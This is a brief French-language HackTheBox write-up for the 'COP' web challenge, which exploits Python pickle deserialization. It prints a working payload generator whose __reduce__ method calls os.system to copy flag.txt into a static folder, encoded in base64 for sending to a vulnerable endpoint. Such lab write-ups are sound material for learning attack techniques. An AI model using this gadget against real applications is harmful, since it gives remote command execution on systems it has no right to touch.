HackTheBox Writeup

COP

COP

  • Catégorie : Web (Python / Pickle)
  • Difficulté : Intermédiaire

Résumé

Challenge basé sur une vulnérabilité de désérialisation (pickle). Le dépôt contient un exemple montrant la construction d'une payload qui exécute une commande système lors de la désérialisation.

Extrait (génération de payload)

import pickle
import base64
import os

payload = 'cp flag.txt application/static/.'

class RCE:
    def __reduce__(self):
        return os.system, (payload,)

if __name__ == '__main__':
    print(base64.urlsafe_b64encode(pickle.dumps(RCE())).decode('ascii'))

Approche

  • Générer une charge utile pickle malveillante et l'encoder en base64 pour l'envoyer à un endpoint vulnérable.
  • Vérifier les chemins et permissions (la commande de l'exemple copie flag.txt vers un dossier statique).

Indices

  • Rechercher où le serveur effectue une désérialisation de données utilisateur.

Références

  • Documentation Python pickle — risques liés à la désérialisation.